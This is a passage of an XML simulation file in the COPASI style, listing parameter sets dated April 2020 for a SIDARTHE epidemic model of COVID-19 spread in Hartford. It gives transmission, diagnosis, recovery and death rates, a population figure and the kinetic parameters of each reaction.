<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="2.2795530925764331" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="2.2795530925764331" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="2.2795530925764331" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.22837568510071218" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.125" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_21" name="Model3 - 4/19">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_21">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-20T00:16:47Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572663" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="3.1673298617527226" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.63346597235054458" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.31673298617527229" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.15836649308763615" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.23845246212154095" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.23845246212154095" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.041643783580772038" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="2.4660876334254533" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="2.4660876334254533" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.15484403928233151" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.15484403928233151" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.23637937583656185" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="2.4660876334254533" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.125" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.038489338011979658" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="2" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="2" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.7045400955469945" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.7045400955469945" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.6625754562885571" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.39122341511889336" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.16348933801197965" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.1821622606007183" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="8.8654543925969065e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="8.8654543925969065e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.7730908785193813e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="4.4327271962984532e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="0.99999996336447594" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.88125741443037209" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="3.4840608975280283" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.041643783580772038" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.8812573821450449" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="8.8654543925969065e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.7730908785193813e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="8.8654543925969065e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="4.4327271962984532e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.23845246212154095" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.23845246212154095" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.041643783580772038" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.15484403928233151" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.15484403928233151" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.038489338011979658" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="2.4660876334254533" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="2.4660876334254533" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="2.4660876334254533" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.23637937583656185" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.125" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_20" name="Model3 - 4/21">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_20">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-21T17:27:04Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572663" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="2.7913846522708452" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.55827693045416904" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.27913846522708452" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.13956923261354226" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.19607843137254899" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.19607843137254899" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.044218322678260154" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="2.1198868951265091" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="2.1198868951265091" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.15951389671315763" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.15951389671315763" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.2490738220827127" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="2.1198868951265091" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.125" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.040197880908873641" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="2" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="2" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.3159653264990583" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.3159653264990583" type="ModelValue" simulationType="assignment"/>
